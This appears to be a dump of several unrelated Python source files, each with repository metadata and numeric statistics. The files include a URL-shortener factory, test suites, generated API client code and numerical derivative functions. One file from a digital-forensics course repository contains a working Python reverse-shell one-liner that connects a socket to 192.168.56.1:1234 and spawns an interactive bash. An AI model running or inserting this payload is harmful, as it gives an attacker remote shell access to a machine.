0
0
0
0
0
0
0
0
0
0
0
0
null
0
0
0
1
0
0
0
0
0
0
0
0
0
7
b7df34ef0f8f02df1c1ff4889628631414c8c972
205
py
Python
src/factory.py
jamie-sgro/url-shortener
c833ab81927d9267a4012be0eba0e8a6409d7a85
[ "MIT" ]
null
null
null
src/factory.py
jamie-sgro/url-shortener
c833ab81927d9267a4012be0eba0e8a6409d7a85
[ "MIT" ]
15
2021-09-04T16:21:46.000Z
2021-09-13T14:59:31.000Z
src/factory.py
jamie-sgro/url-shortener
c833ab81927d9267a4012be0eba0e8a6409d7a85
[ "MIT" ]
null
null
null
from src.database.i_db_accessor import IDbAccessor from src.database.db_accessor import DbAccessor class Factory: @staticmethod def create_db_accessor() -> IDbAccessor: return DbAccessor
22.777778
50
0.77561
25
205
6.16
0.6
0.194805
0.194805
0
0
0
0
0
0
0
0
0
0.170732
205
8
51
25.625
0.905882
0
0
0
0
0
0
0
0
0
0
0
0
1
0.166667
true
0
0.333333
0.166667
0.833333
0
1
0
0
null
0
1
0
0
0
0
0
0
0
0
0
0
0
1
0
0
0
0
0
0
0
0
0
0
null
0
0
0
0
0
0
1
0
1
1
1
0
0
7
4d44bfa1f9122d2847c39289477578e12664366c
230
py
Python
Section 5/reverse_shell.py
PacktPublishing/Recipes-to-Successful-Python-Digital-Forensics
3217906559dddd80d88b2e774f13f90bf3d3caea
[ "MIT" ]
13
2018-11-14T15:54:04.000Z
2021-12-19T17:19:58.000Z
Section 5/reverse_shell.py
PacktPublishing/Recipes-to-Successful-Python-Digital-Forensics
3217906559dddd80d88b2e774f13f90bf3d3caea
[ "MIT" ]
null
null
null
Section 5/reverse_shell.py
PacktPublishing/Recipes-to-Successful-Python-Digital-Forensics
3217906559dddd80d88b2e774f13f90bf3d3caea
[ "MIT" ]
10
2018-12-10T06:10:03.000Z
2022-01-21T03:59:51.000Z
python -c 'import socket,subprocess,os;s=socket.socket(socket.AF_INET,socket.SOCK_STREAM);s.connect(("192.168.56.1",1234));os.dup2(s.fileno(),0); os.dup2(s.fileno(),1); os.dup2(s.fileno(),2);p=subprocess.call(["/bin/bash","-i"]);'
230
230
0.695652
43
230
3.674419
0.604651
0.113924
0.132911
0.246835
0
0
0
0
0
0
0
0.084444
0.021739
230
1
230
230
0.617778
0
0
0
0
1
0.943723
0.904762
0
0
0
0
0
0
null
null
0
1
null
null
0
0
0
0
null
0
0
1
0
0
0
0
0
0
0
0
0
0
1
0
1
0
0
0
0
0
1
1
1
null
0
0
0
0
1
0
0
0
1
0
0
0
0
8
4ddae177c2ceaad52bdd3c2b55d7250cc0ead1a5
125
py
Python
sololearn/EasterEggs/EasterEggs.py
SneakyWizards/HackerRankSolutions
daf494e7775bb0de5afcfdcfd45aa73e6a950e0e
[ "RSA-MD" ]
3
2020-01-08T18:33:11.000Z
2022-02-08T00:38:26.000Z
sololearn/EasterEggs/EasterEggs.py
SneakyWizards/HackerRankSolutions
daf494e7775bb0de5afcfdcfd45aa73e6a950e0e
[ "RSA-MD" ]
null
null
null
sololearn/EasterEggs/EasterEggs.py
SneakyWizards/HackerRankSolutions
daf494e7775bb0de5afcfdcfd45aa73e6a950e0e
[ "RSA-MD" ]
4
2020-08-08T22:02:23.000Z
2022-02-07T17:40:15.000Z
#!/usr/bin/python if (int(input()) - int(input()) == int(input())): print("Candy Time") else: print("Keep Hunting")
17.857143
49
0.576
17
125
4.235294
0.705882
0.333333
0.305556
0.444444
0
0
0
0
0
0
0
0
0.168
125
6
50
20.833333
0.692308
0.128
0
0
0
0
0.203704
0
0
0
0
0
0
1
0
true
0
0
0
0
0.5
1
0
0
null
1
1
1
0
0
0
0
0
0
0
0
0
0
1
0
0
0
0
0
0
0
0
0
0
null
0
0
0
0
0
0
1
0
0
0
0
1
0
7
4de5809dd3f74cb7ac057156578712691c645fe1
27
py
Python
src/models/CCIG/models/__init__.py
stillyuyi/ArticlePairMatching
f9cf63ad4c398d377f3d0291f552fb99f81020ef
[ "BSD-3-Clause" ]
227
2019-05-22T14:10:55.000Z
2022-03-31T07:39:31.000Z
src/models/CCIG/models/__init__.py
stillyuyi/ArticlePairMatching
f9cf63ad4c398d377f3d0291f552fb99f81020ef
[ "BSD-3-Clause" ]
35
2019-06-18T07:39:28.000Z
2021-11-19T03:51:07.000Z
src/models/CCIG/models/__init__.py
stillyuyi/ArticlePairMatching
f9cf63ad4c398d377f3d0291f552fb99f81020ef
[ "BSD-3-Clause" ]
62
2019-06-14T07:10:30.000Z
2022-02-04T19:59:32.000Z
from .se_gcn import SE_GCN
13.5
26
0.814815
6
27
3.333333
0.666667
0.5
0
0
0
0
0
0
0
0
0
0
0.148148
27
1
27
27
0.869565
0
0
0
0
0
0
0
0
0
0
0
0
1
0
true
0
1
0
1
0
1
1
0
null
1
0
0
0
0
0
0
0
0
0
0
0
0
1
0
0
0
0
0
0
0
0
0
0
null
0
0
0
0
0
0
1
0
1
0
1
0
0
7
1297db94e85d81c93e313888a5c420af6ef846fe
2,170
py
Python
cactus/tests/test_legacy_context.py
jacobmarshall-etc/Cactus
398ed4a1f57d0aa84fe3b297d7d27d0703683637
[ "BSD-3-Clause" ]
1,048
2016-06-04T07:37:40.000Z
2022-03-06T02:03:16.000Z
cactus/tests/test_legacy_context.py
jacobmarshall-etc/Cactus
398ed4a1f57d0aa84fe3b297d7d27d0703683637
[ "BSD-3-Clause" ]
49
2016-06-11T18:53:40.000Z
2021-09-29T07:07:53.000Z
cactus/tests/test_legacy_context.py
kamalx/Cactus
8badeff999b9e63092eef0bac2d33d1e6d7c50ed
[ "BSD-3-Clause" ]
153
2016-06-04T08:55:22.000Z
2021-11-12T17:35:51.000Z
#coding:utf-8 import os from cactus.tests import SiteTestCase class TestLegacyContext(SiteTestCase): def setUp(self): super(TestLegacyContext, self).setUp() os.mkdir(os.path.join(self.site.page_path, "test")) with open(os.path.join(self.site.page_path, "static.html"), "w") as f: ...
35.57377
91
0.578341
309
2,170
3.983819
0.12945
0.116978
0.121852
0.170593
0.82697
0.82697
0.815597
0.815597
0.732738
0.705118
0
0.000597
0.22765
2,170
60
92
36.166667
0.73389
0.00553
0
0.205128
0
0
0.1465
0
0
0
0
0
0.230769
1
0.076923
false
0
0.051282
0
0.153846
0
0
0
0
null
0
0
1
1
1
1
1
1
1
0
0
0
0
0
0
0
0
0
0
0
0
0
0
0
null
0
0
0
0
0
0
0
0
0
0
0
0
0
7
12c6ed49569bad6f213336433163250bfbfba61a
38,114
py
Python
swagger_codegen/swagger_client/api/default_api.py
DivSeek-Canada/divseek_mvp_api
2db16bc5b29acf2a7abea615270738e964e9368a
[ "MIT" ]
null
null
null
swagger_codegen/swagger_client/api/default_api.py
DivSeek-Canada/divseek_mvp_api
2db16bc5b29acf2a7abea615270738e964e9368a
[ "MIT" ]
null
null
null
swagger_codegen/swagger_client/api/default_api.py
DivSeek-Canada/divseek_mvp_api
2db16bc5b29acf2a7abea615270738e964e9368a
[ "MIT" ]
null
null
null
# coding: utf-8 """ Divseek Canada MVP application API Implements all the calls necessary for finding genomic markers for germplasm, but doesn't conform to BrAPI. # noqa: E501 OpenAPI spec version: 0.0.1 Contact: apiteam@swagger.io Generated by: https://github.com/swagger-api/swagger-codegen.git...
36.860735
133
0.594558
4,398
38,114
4.90291
0.040928
0.047118
0.028567
0.03673
0.968743
0.964801
0.96276
0.95803
0.952233
0.946714
0
0.014927
0.314478
38,114
1,033
134
36.896418
0.810357
0.053996
0
0.814488
0
0
0.161395
0.04198
0
0
0
0
0
0
null
null
0
0.007067
null
null
0
0
0
0
null
0
0
0
1
1
1
1
1
1
0
0
0
0
0
0
0
0
0
0
1
0
0
0
0
null
0
0
0
0
1
0
0
0
0
0
0
0
0
8
12ea3249a0962731f4a9cdce4b003e6bbe81d62b
30,158
py
Python
spatialDerivatives/second_orderENO6D.py
kensukenk/optimized_dp
4771787366ca04139c168c8988dad378ad404ab6
[ "MIT" ]
41
2020-06-23T01:58:03.000Z
2022-03-28T01:45:12.000Z
spatialDerivatives/second_orderENO6D.py
kensukenk/optimized_dp
4771787366ca04139c168c8988dad378ad404ab6
[ "MIT" ]
1
2021-08-01T06:58:57.000Z
2021-08-01T06:58:57.000Z
spatialDerivatives/second_orderENO6D.py
kensukenk/optimized_dp
4771787366ca04139c168c8988dad378ad404ab6
[ "MIT" ]
20
2020-06-05T20:52:02.000Z
2022-03-01T03:17:39.000Z
import heterocl as hcl from computeGraphs.CustomGraphFunctions import * ############################## 6D DERIVATIVE FUNCTIONS ############################# def secondOrderX6_6d(i, j, k, l, m, n, V, g): # Left -> right == Outer Most -> Inner Most left_deriv = hcl.scalar(0, "left_deriv") right_deriv = hcl.sca...
33.140659
94
0.575734
6,131
30,158
2.335834
0.009623
0.17806
0.143286
0.08505
0.98785
0.98771
0.98771
0.98771
0.98771
0.98771
0
0.076949
0.301479
30,158
909
95
33.177118
0.602867
0.009152
0
0.947883
0
0
0.012477
0
0
0
0
0
0
1
0.009772
false
0
0.003257
0
0.022801
0
0
0
0
null
0
0
0
1
1
1
1
1
1
0
0
0
0
0
0
0
0
0
0
1
0
0
0
0
null
0
0
0
0
0
0
0
0
0
0
0
0
0
7
424ad03205783d7207b0eea425684ccc9ed6fcab
174,307
py
Python
src/backend/tests/partaj/core/test_api_referral.py
MTES-MCT/partaj
0025c17a96d9212430d18ec36f6a2474c4609738
[ "MIT" ]
2
2020-10-15T11:28:26.000Z
2021-06-25T15:24:33.000Z
src/backend/tests/partaj/core/test_api_referral.py
MTES-MCT/partaj
0025c17a96d9212430d18ec36f6a2474c4609738
[ "MIT" ]
7
2020-10-01T14:49:51.000Z
2022-01-24T09:44:10.000Z
src/backend/tests/partaj/core/test_api_referral.py
MTES-MCT/partaj
0025c17a96d9212430d18ec36f6a2474c4609738
[ "MIT" ]
3
2020-03-18T15:53:26.000Z
2021-09-16T14:39:27.000Z
from datetime import datetime, timedelta from io import BytesIO from unittest import mock import uuid from django.conf import settings from django.db import transaction from django.test import TestCase from django.utils import dateformat from rest_framework.authtoken.models import Token from partaj.core import facto...
41.920875
115
0.604474
16,775
174,307
6.107422
0.023428
0.088724
0.052005
0.032269
0.955843
0.946824
0.937268
0.92904
0.91803
0.911158
0
0.006396
0.29144
174,307
4,157
116
41.93096
0.823127
0.061277
0
0.765212
0
0
0.142758
0.075548
0
0
0
0
0.202641
1
0.032721
false
0
0.00287
0
0.035878
0
0
0
0
null
0
0
0
1
1
1
1
1
1
0
0
0
0
0
0
0
0
0
0
1
0
0
0
0
null
0
0
0
0
0
0
0
0
0
0
0
0
0
7
42a0c1a92a3134b8bb6cf3713e4e8d8702eeb816
6,693
py
Python
code/tmp_rtrip/test/pydocfodder.py
emilyemorehouse/ast-and-me
3f58117512e125e1ecbe3c72f2f0d26adb80b7b3
[ "MIT" ]
24
2018-01-23T05:28:40.000Z
2021-04-13T20:52:59.000Z
code/tmp_rtrip/test/pydocfodder.py
emilyemorehouse/ast-and-me
3f58117512e125e1ecbe3c72f2f0d26adb80b7b3
[ "MIT" ]
17
2017-12-21T18:32:31.000Z
2018-12-18T17:09:50.000Z
code/tmp_rtrip/test/pydocfodder.py
emilyemorehouse/ast-and-me
3f58117512e125e1ecbe3c72f2f0d26adb80b7b3
[ "MIT" ]
null
null
null
"""Something just to look at via pydoc.""" import types class A_classic: """A classic class.""" def A_method(self): """Method defined in A.""" def AB_method(self): """Method defined in A and B.""" def AC_method(self): """Method defined in A and C.""" def AD_method(self)...
22.765306
71
0.560287
982
6,693
3.675153
0.105906
0.167082
0.274314
0.407869
0.763369
0.74813
0.73954
0.731782
0.731782
0.731782
0
0.001483
0.294636
6,693
293
72
22.843003
0.762974
0.363215
0
0.672897
0
0
0.035557
0
0
0
0
0
0
1
0.71028
false
0
0.009346
0
0.88785
0.028037
0
0
0
null
0
1
1
0
1
1
1
1
1
0
0
0
0
0
0
0
0
0
0
0
0
0
0
0
null
0
0
0
0
0
1
0
0
0
0
1
0
0
9
35f08970501297184a8c80c86cd8c0a064aa8a91
6,244
py
Python
easytransfer/layers/embedding.py
johnson7788/EasyTransfer
7e59935ab663fbdb9be56e7e081e59a2154b5489
[ "Apache-2.0" ]
806
2020-09-02T03:05:24.000Z
2022-03-26T03:45:23.000Z
easytransfer/layers/embedding.py
johnson7788/EasyTransfer
7e59935ab663fbdb9be56e7e081e59a2154b5489
[ "Apache-2.0" ]
48
2020-09-16T12:53:32.000Z
2022-03-09T09:34:44.000Z
easytransfer/layers/embedding.py
johnson7788/EasyTransfer
7e59935ab663fbdb9be56e7e081e59a2154b5489
[ "Apache-2.0" ]
151
2020-09-16T12:31:06.000Z
2022-03-24T08:51:47.000Z
# coding=utf-8 # Copyright (c) 2019 Alibaba PAI team. # # Licensed under the Apache License, Version 2.0 (the "License"); # you may not use this file except in compliance with the License. # You may obtain a copy of the License at # # http://www.apache.org/licenses/LICENSE-2.0 # # Unless required by applicable law ...
39.518987
90
0.682735
753
6,244
5.383798
0.196547
0.066601
0.074988
0.02664
0.821904
0.813764
0.813764
0.810064
0.787864
0.787864
0
0.006926
0.236867
6,244
158
91
39.518987
0.843861
0.161115
0
0.769231
0
0
0.024611
0.008075
0
0
0
0
0
1
0.057692
false
0
0.038462
0
0.134615
0
0
0
0
null
0
0
0
1
1
1
1
1
1
0
0
0
0
0
0
0
0
0
0
1
0
0
0
0
null
0
0
0
0
0
0
0
0
0
0
0
0
0
7
c40504e00e662f527f38ab77e8d3532a6e724a49
52
py
Python
helper.py
cms3my/cs3240-labdemo
7912ff32d3cb110bbad3dcf321860f10be5ce6c0
[ "MIT" ]
null
null
null
helper.py
cms3my/cs3240-labdemo
7912ff32d3cb110bbad3dcf321860f10be5ce6c0
[ "MIT" ]
null
null
null
helper.py
cms3my/cs3240-labdemo
7912ff32d3cb110bbad3dcf321860f10be5ce6c0
[ "MIT" ]
null
null
null
def greeting(msg): print(str(msg)) print(str(msg))
17.333333
18
0.692308
9
52
4
0.555556
0.444444
0.611111
0.777778
0
0
0
0
0
0
0
0
0.096154
52
3
19
17.333333
0.765957
0
0
0.666667
0
0
0
0
0
0
0
0
0
1
0.333333
false
0
0
0
0.333333
0.666667
1
0
0
null
1
1
1
0
0
0
0
0
0
0
0
0
0
1
0
0
0
0
0
0
0
0
0
0
null
0
0
0
0
0
1
0
0
0
0
0
1
0
7
c44ab29ba69334b0e31a13c66d028826bea47c66
274
py
Python
temboo/core/Library/Yahoo/Finance/__init__.py
jordanemedlock/psychtruths
52e09033ade9608bd5143129f8a1bfac22d634dd
[ "Apache-2.0" ]
7
2016-03-07T02:07:21.000Z
2022-01-21T02:22:41.000Z
temboo/core/Library/Yahoo/Finance/__init__.py
jordanemedlock/psychtruths
52e09033ade9608bd5143129f8a1bfac22d634dd
[ "Apache-2.0" ]
null
null
null
temboo/core/Library/Yahoo/Finance/__init__.py
jordanemedlock/psychtruths
52e09033ade9608bd5143129f8a1bfac22d634dd
[ "Apache-2.0" ]
8
2016-06-14T06:01:11.000Z
2020-04-22T09:21:44.000Z
from temboo.Library.Yahoo.Finance.GetNews import GetNews, GetNewsInputSet, GetNewsResultSet, GetNewsChoreographyExecution from temboo.Library.Yahoo.Finance.GetStockQuote import GetStockQuote, GetStockQuoteInputSet, GetStockQuoteResultSet, GetStockQuoteChoreographyExecution
91.333333
151
0.89781
22
274
11.181818
0.636364
0.081301
0.138211
0.178862
0.235772
0
0
0
0
0
0
0
0.051095
274
2
152
137
0.946154
0
0
0
0
0
0
0
0
0
0
0
0
1
0
true
0
1
0
1
0
1
0
1
null
0
0
1
0
0
0
0
0
0
0
0
0
0
1
0
1
0
0
0
0
0
0
0
0
null
0
0
0
0
0
0
1
0
1
0
1
0
0
8